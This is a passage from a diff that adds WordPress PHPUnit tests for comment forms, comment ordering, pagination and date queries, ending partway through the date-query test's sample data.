+		$results = check_comment( 'bar', 'zag@example.com', 'http://example.com', 'This is my first comment.', '66.155.40.249', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0', 'comment', 4 );
+		$this->assertFalse( $results );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/commentForm.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/commentForm.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/commentForm.php	(revision 56912)
@@ -0,0 +1,103 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment_CommentForm extends WP_UnitTestCase {
+	public function test_default_markup_for_submit_button_and_wrapper() {
+		$p = self::factory()->post->create();
+
+		$args = array(
+			'name_submit' => 'foo-name',
+			'id_submit' => 'foo-id',
+			'class_submit' => 'foo-class',
+			'label_submit' => 'foo-label',
+		);
+		$form = get_echo( 'comment_form', array( $args, $p ) );
+
+		$button = '<input name="foo-name" type="submit" id="foo-id" class="foo-class" value="foo-label" />';
+		$hidden = get_comment_id_fields( $p );
+		$this->assertRegExp( '|<p class="form\-submit">\s*' . $button . '\s*' . $hidden . '\s*|', $form );
+	}
+
+	public function test_custom_submit_button() {
+		$p = self::factory()->post->create();
+
+		$args = array(
+			'name_submit' => 'foo-name',
+			'id_submit' => 'foo-id',
+			'class_submit' => 'foo-class',
+			'label_submit' => 'foo-label',
+			'submit_button' => '<input name="custom-%1$s" type="submit" id="custom-%2$s" class="custom-%3$s" value="custom-%4$s" />'
+		);
+		$form = get_echo( 'comment_form', array( $args, $p ) );
+
+		$button = '<input name="custom-foo-name" type="submit" id="custom-foo-id" class="custom-foo-class" value="custom-foo-label" />';
+		$this->assertContains( $button, $form );
+	}
+
+	public function test_custom_submit_field() {
+		$p = self::factory()->post->create();
+
+		$args = array(
+			'name_submit' => 'foo-name',
+			'id_submit' => 'foo-id',
+			'class_submit' => 'foo-class',
+			'label_submit' => 'foo-label',
+			'submit_field' => '<p class="my-custom-submit-field">%1$s %2$s</p>'
+		);
+		$form = get_echo( 'comment_form', array( $args, $p ) );
+
+		$button = '<input name="foo-name" type="submit" id="foo-id" class="foo-class" value="foo-label" />';
+		$hidden = get_comment_id_fields( $p );
+		$this->assertRegExp( '|<p class="my\-custom\-submit\-field">\s*' . $button . '\s*' . $hidden . '\s*|', $form );
+	}
+
+	/**
+	 * @ticket 32312
+	 */
+	public function test_submit_button_and_submit_field_should_fall_back_on_defaults_when_filtered_defaults_do_not_contain_the_keys() {
+		$p = self::factory()->post->create();
+
+		$args = array(
+			'name_submit' => 'foo-name',
+			'id_submit' => 'foo-id',
+			'class_submit' => 'foo-class',
+			'label_submit' => 'foo-label',
+		);
+
+		add_filter( 'comment_form_defaults', array( $this, 'filter_comment_form_defaults' ) );
+		$form = get_echo( 'comment_form', array( $args, $p ) );
+		remove_filter( 'comment_form_defaults', array( $this, 'filter_comment_form_defaults' ) );
+
+		$button = '<input name="foo-name" type="submit" id="foo-id" class="foo-class" value="foo-label" />';
+		$hidden = get_comment_id_fields( $p );
+		$this->assertRegExp( '|<p class="form\-submit">\s*' . $button . '\s*' . $hidden . '\s*|', $form );
+	}
+
+	public function filter_comment_form_defaults( $defaults ) {
+		unset( $defaults['submit_field'] );
+		unset( $defaults['submit_button'] );
+		return $defaults;
+	}
+
+	/**
+	 * @ticket 44126
+	 */
+	public function test_fields_should_include_cookies_consent() {
+		$p = self::factory()->post->create();
+
+		add_filter( 'option_show_comments_cookies_opt_in', '__return_true' );
+
+		$args = array(
+			'fields' => array(
+				'author' => 'Hello World!',
+			),
+		);
+		$form = get_echo( 'comment_form', array( $args, $p ) );
+
+		remove_filter( 'option_show_comments_cookies_opt_in', '__return_true' );
+
+		$this->assertRegExp( '|<p class="comment\-form\-cookies\-consent">.*?</p>|', $form );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/commentsTemplate.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/commentsTemplate.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/commentsTemplate.php	(revision 56912)
@@ -0,0 +1,774 @@
+<?php
+
+/**
+ * @group comment
+ *
+ * Testing items that are only testable by grabbing the markup of `comments_template()` from the output buffer.
+ */
+class Tests_Comment_CommentsTemplate extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_should_respect_comment_order_asc_when_default_comments_page_is_newest() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+
+		update_option( 'comment_order', 'asc' );
+		update_option( 'default_comments_page', 'newest' );
+
+		$this->go_to( get_permalink( $p ) );
+		$found = get_echo( 'comments_template' );
+
+		// Life in the fast lane.
+		$comments = preg_match_all( '/id="comment-([0-9]+)"/', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+		$this->assertSame( array( $comment_2, $comment_1 ), $found_cids );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_should_respect_comment_order_desc_when_default_comments_page_is_newest() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+
+		update_option( 'comment_order', 'desc' );
+		update_option( 'default_comments_page', 'newest' );
+
+		$this->go_to( get_permalink( $p ) );
+		$found = get_echo( 'comments_template' );
+
+		// Life in the fast lane.
+		$comments = preg_match_all( '/id="comment-([0-9]+)"/', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+		$this->assertSame( array( $comment_1, $comment_2 ), $found_cids );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_should_respect_comment_order_asc_when_default_comments_page_is_oldest() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+
+		update_option( 'comment_order', 'asc' );
+		update_option( 'default_comments_page', 'oldest' );
+
+		$this->go_to( get_permalink( $p ) );
+		$found = get_echo( 'comments_template' );
+
+		// Life in the fast lane.
+		$comments = preg_match_all( '/id="comment-([0-9]+)"/', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+		$this->assertSame( array( $comment_2, $comment_1 ), $found_cids );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_should_respect_comment_order_desc_when_default_comments_page_is_oldest() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+
+		update_option( 'comment_order', 'desc' );
+		update_option( 'default_comments_page', 'oldest' );
+
+		$this->go_to( get_permalink( $p ) );
+		$found = get_echo( 'comments_template' );
+
+		// Life in the fast lane.
+		$comments = preg_match_all( '/id="comment-([0-9]+)"/', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+		$this->assertSame( array( $comment_1, $comment_2 ), $found_cids );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_should_respect_comment_order_asc_when_default_comments_page_is_newest_on_subsequent_pages() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+		) );
+		$comment_4 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 400 ),
+		) );
+		$comment_5 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 500 ),
+		) );
+		$comment_6 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 600 ),
+		) );
+
+		update_option( 'comment_order', 'asc' );
+		update_option( 'default_comments_page', 'newest' );
+		update_option( 'page_comments', '1' );
+
+		$link = add_query_arg( array(
+			'cpage' => 2,
+			'comments_per_page' => 2,
+		), get_permalink( $p ) );
+
+		$this->go_to( $link );
+		$found = get_echo( 'comments_template' );
+
+		// Life in the fast lane.
+		$comments = preg_match_all( '/id="comment-([0-9]+)"/', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+		$this->assertSame( array( $comment_4, $comment_3 ), $found_cids );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_should_respect_comment_order_desc_when_default_comments_page_is_newest_on_subsequent_pages() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+		) );
+		$comment_4 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 400 ),
+		) );
+		$comment_5 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 500 ),
+		) );
+		$comment_6 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 600 ),
+		) );
+
+		update_option( 'comment_order', 'desc' );
+		update_option( 'default_comments_page', 'newest' );
+		update_option( 'page_comments', '1' );
+
+		$link = add_query_arg( array(
+			'cpage' => 2,
+			'comments_per_page' => 2,
+		), get_permalink( $p ) );
+
+		$this->go_to( $link );
+		$found = get_echo( 'comments_template' );
+
+		// Life in the fast lane.
+		$comments = preg_match_all( '/id="comment-([0-9]+)"/', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+		$this->assertSame( array( $comment_3, $comment_4 ), $found_cids );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_should_respect_comment_order_asc_when_default_comments_page_is_oldest_on_subsequent_pages() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+		) );
+		$comment_4 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 400 ),
+		) );
+
+		update_option( 'comment_order', 'asc' );
+		update_option( 'default_comments_page', 'oldest' );
+		update_option( 'page_comments', '1' );
+
+		$link = add_query_arg( array(
+			'cpage' => 2,
+			'comments_per_page' => 2,
+		), get_permalink( $p ) );
+
+		$this->go_to( $link );
+		$found = get_echo( 'comments_template' );
+
+		// Life in the fast lane.
+		$comments = preg_match_all( '/id="comment-([0-9]+)"/', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+		$this->assertSame( array( $comment_2, $comment_1 ), $found_cids );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_should_respect_comment_order_desc_when_default_comments_page_is_oldest_on_subsequent_pages() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+		) );
+		$comment_4 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 400 ),
+		) );
+
+		update_option( 'comment_order', 'desc' );
+		update_option( 'default_comments_page', 'oldest' );
+		update_option( 'page_comments', '1' );
+
+		$link = add_query_arg( array(
+			'cpage' => 2,
+			'comments_per_page' => 2,
+		), get_permalink( $p ) );
+
+		$this->go_to( $link );
+		$found = get_echo( 'comments_template' );
+
+		// Life in the fast lane.
+		$comments = preg_match_all( '/id="comment-([0-9]+)"/', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+		$this->assertSame( array( $comment_1, $comment_2 ), $found_cids );
+	}
+
+	/**
+	 * @ticket 8071
+	 * @ticket 34073
+	 * @ticket 29462
+	 */
+	public function test_last_page_of_comments_should_be_full_when_default_comment_page_is_newest() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+		) );
+
+		update_option( 'default_comments_page', 'newest' );
+		update_option( 'comment_order', 'desc' );
+		update_option( 'page_comments', '1' );
+
+		$link = add_query_arg( array(
+			'cpage' => 1,
+			'comments_per_page' => 2,
+		), get_permalink( $p ) );
+
+		$this->go_to( $link );
+		$found = get_echo( 'comments_template' );
+
+		$comments = preg_match_all( '/id="comment-([0-9]+)"/', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+
+		$this->assertSame( array( $comment_2, $comment_3 ), $found_cids );
+	}
+
+	/**
+	 * @ticket 8071
+	 * @ticket 34073
+	 * @ticket 29462
+	 */
+	public function test_first_page_of_comments_should_have_remainder_when_default_comments_page_is_newest() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+		) );
+
+		update_option( 'default_comments_page', 'newest' );
+		update_option( 'comment_order', 'desc' );
+		update_option( 'page_comments', '1' );
+
+		$link = add_query_arg( array(
+			'cpage' => 2,
+			'comments_per_page' => 2,
+		), get_permalink( $p ) );
+
+		$this->go_to( $link );
+		$found = get_echo( 'comments_template' );
+
+		$comments = preg_match_all( '/id="comment-([0-9]+)"/', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+
+		$this->assertSame( array( $comment_1 ), $found_cids );
+	}
+
+	/**
+	 * @ticket 34073
+	 */
+	public function test_comment_permalinks_should_be_correct_when_using_default_display_callback_with_default_comment_page_oldest() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+		) );
+		$comment_4 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 400 ),
+		) );
+
+		update_option( 'comment_order', 'desc' );
+		update_option( 'default_comments_page', 'oldest' );
+		update_option( 'page_comments', '1' );
+
+		$link_p1 = add_query_arg( array(
+			'comments_per_page' => 2,
+		), get_permalink( $p ) );
+
+		$this->go_to( $link_p1 );
+
+		$found_p1 = get_echo( 'comments_template' );
+
+		// Find the comment permalinks.
+		preg_match_all( '|href="(.*?#comment-([0-9]+))|', $found_p1, $matches );
+
+		// This is the main post page, so we don't expect any cpage param.
+		foreach ( $matches[1] as $m ) {
+			$this->assertNotContains( 'cpage', $m );
+		}
+
+		$link_p2 = add_query_arg( array(
+			'cpage' => 2,
+			'comments_per_page' => 2,
+		), get_permalink( $p ) );
+
+		$this->go_to( $link_p2 );
+
+		$found_p2 = get_echo( 'comments_template' );
+
+		// Find the comment permalinks.
+		preg_match_all( '|href="(.*?#comment-([0-9]+))|', $found_p2, $matches );
+
+		// They should all be on page 2.
+		foreach ( $matches[1] as $m ) {
+			$this->assertContains( 'cpage=2', $m );
+		}
+	}
+
+	/**
+	 * @ticket 34073
+	 */
+	public function test_comment_permalinks_should_be_correct_when_using_default_display_callback_with_default_comment_page_newest() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+		) );
+		$comment_4 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 400 ),
+		) );
+		$comment_5 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 500 ),
+		) );
+		$comment_6 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 600 ),
+		) );
+
+		update_option( 'comment_order', 'desc' );
+		update_option( 'default_comments_page', 'newest' );
+		update_option( 'page_comments', '1' );
+
+		$link_p0 = add_query_arg( array(
+			'comments_per_page' => 2,
+		), get_permalink( $p ) );
+
+		$this->go_to( $link_p0 );
+
+		$found_p0 = get_echo( 'comments_template' );
+
+		// Find the comment permalinks.
+		preg_match_all( '|href="(.*?#comment-([0-9]+))|', $found_p0, $matches );
+
+		foreach ( $matches[1] as $m ) {
+			$this->assertContains( 'cpage=3', $m );
+		}
+
+		$link_p2 = add_query_arg( array(
+			'cpage' => 2,
+			'comments_per_page' => 2,
+		), get_permalink( $p ) );
+
+		$this->go_to( $link_p2 );
+
+		$found_p2 = get_echo( 'comments_template' );
+
+		// Find the comment permalinks.
+		preg_match_all( '|href="(.*?#comment-([0-9]+))|', $found_p2, $matches );
+
+		// They should all be on page 2.
+		foreach ( $matches[1] as $m ) {
+			$this->assertContains( 'cpage=2', $m );
+		}
+
+		// p1 is the last page (neat!).
+		$link_p1 = add_query_arg( array(
+			'cpage' => 1,
+			'comments_per_page' => 2,
+		), get_permalink( $p ) );
+
+		$this->go_to( $link_p1 );
+
+		$found_p1 = get_echo( 'comments_template' );
+
+		// Find the comment permalinks.
+		preg_match_all( '|href="(.*?#comment-([0-9]+))|', $found_p1, $matches );
+
+		// They should all be on page 2.
+		foreach ( $matches[1] as $m ) {
+			$this->assertContains( 'cpage=1', $m );
+		}
+	}
+
+	/**
+	 * @ticket 35068
+	 */
+	public function test_query_offset_should_not_include_unapproved_comments() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_approved' => '0',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_approved' => '0',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_approved' => '0',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+		) );
+		$comment_4 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '4',
+			'comment_approved' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 400 ),
+		) );
+
+		update_option( 'comment_order', 'asc' );
+		update_option( 'default_comments_page', 'newest' );
+		update_option( 'page_comments', 1 );
+		update_option( 'comments_per_page', 2 );
+
+		$this->go_to( get_permalink( $p ) );
+		$found = get_echo( 'comments_template' );
+
+		// Find the found comments in the markup.
+		preg_match_all( '|id="comment-([0-9]+)|', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+		$this->assertSame( array( $comment_4 ), $found_cids );
+	}
+
+	/**
+	 * @ticket 35068
+	 */
+	public function test_query_offset_should_include_unapproved_comments() {
+		$comment_author_email = 'foo@example.com';
+
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_approved' => '0',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_approved' => '0',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_approved' => '0',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+			'comment_author_email' => $comment_author_email,
+		) );
+		$comment_4 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '4',
+			'comment_approved' => '0',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+			'comment_author_email' => $comment_author_email,
+		) );
+		$comment_5 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '5',
+			'comment_approved' => '0',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+			'comment_author_email' => $comment_author_email,
+		) );
+		$comment_6 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '6',
+			'comment_approved' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 400 ),
+		) );
+
+		update_option( 'comment_order', 'asc' );
+		update_option( 'default_comments_page', 'newest' );
+		update_option( 'page_comments', 1 );
+		update_option( 'comments_per_page', 2 );
+
+		add_filter( 'wp_get_current_commenter', array( $this, 'fake_current_commenter' ) );
+		$this->go_to( get_permalink( $p ) );
+		$found = get_echo( 'comments_template' );
+		remove_filter( 'wp_get_current_commenter', array( $this, 'fake_current_commenter' ) );
+
+		// Find the found comments in the markup.
+		preg_match_all( '|id="comment-([0-9]+)|', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+		$this->assertSame( array( $comment_4, $comment_3 ), $found_cids );
+	}
+
+	public function fake_current_commenter( $commenter ) {
+		$commenter['comment_author_email'] = 'foo@example.com';
+		return $commenter;
+	}
+
+	/**
+	 * @ticket 35378
+	 */
+	public function test_hierarchy_should_be_ignored_when_threading_is_disabled() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_approved' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_approved' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_approved' => '1',
+			'comment_parent' => $comment_1,
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+
+		update_option( 'comment_order', 'asc' );
+		update_option( 'thread_comments', 0 );
+
+		$this->go_to( get_permalink( $p ) );
+		$found = get_echo( 'comments_template' );
+
+		// Find the found comments in the markup.
+		preg_match_all( '|id="comment-([0-9]+)|', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+		$this->assertSame( array( $comment_2, $comment_3, $comment_1 ), $found_cids );
+	}
+
+	/**
+	 * @ticket 35419
+	 */
+	public function test_pagination_calculation_should_ignore_comment_hierarchy_when_threading_is_disabled() {
+		$now = time();
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '1',
+			'comment_approved' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '2',
+			'comment_approved' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_content' => '3',
+			'comment_approved' => '1',
+			'comment_parent' => $comment_1,
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+
+		update_option( 'thread_comments', 0 );
+
+		update_option( 'comment_order', 'asc' );
+		update_option( 'comments_per_page', 2 );
+		update_option( 'page_comments', 1 );
+		update_option( 'default_comments_page', 'newest' );
+
+		$this->go_to( get_permalink( $p ) );
+		$found = get_echo( 'comments_template' );
+
+		// Find the found comments in the markup.
+		preg_match_all( '|id="comment-([0-9]+)|', $found, $matches );
+
+		$found_cids = array_map( 'intval', $matches[1] );
+		$this->assertSame( array( $comment_3 ), $found_cids );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/dateQuery.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/dateQuery.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/dateQuery.php	(revision 56912)
@@ -0,0 +1,75 @@
+<?php
+
+/**
+ * Tests to make sure querying posts based on various date parameters
+ * using "date_query" works as expected.
+ *
+ * No need to do a full repeat of all of the post tests again since
+ * the query SQL is the same for both just with a different column.
+ *
+ * @ticket 18694
+ *
+ * @group comment
+ * @group date
+ * @group datequery
+ */
+class Tests_Comment_DateQuery extends WP_UnitTestCase {
+
+	public $posts = array();
+
+	public function setUp() {
+		parent::setUp();
+
+		// Just some dummy posts to use as parents for comments
+		for ( $i = 1; $i <= 2; $i++ ) {
+			$this->posts[$i] = self::factory()->post->create();
+		}
+
+		// Be careful modifying this. Tests are coded to expect this exact sample data.
+		// Format is 'datetime' => 'post number (not ID)'
+		$comment_dates = array(
+			'2007-01-22 03:49:21' => 1,
+			'2007-05-16 17:32:22' => 1,
+			'2007-09-24 07:17:23' => 1,
+			'2008-03-29 09:04:25' => 1,
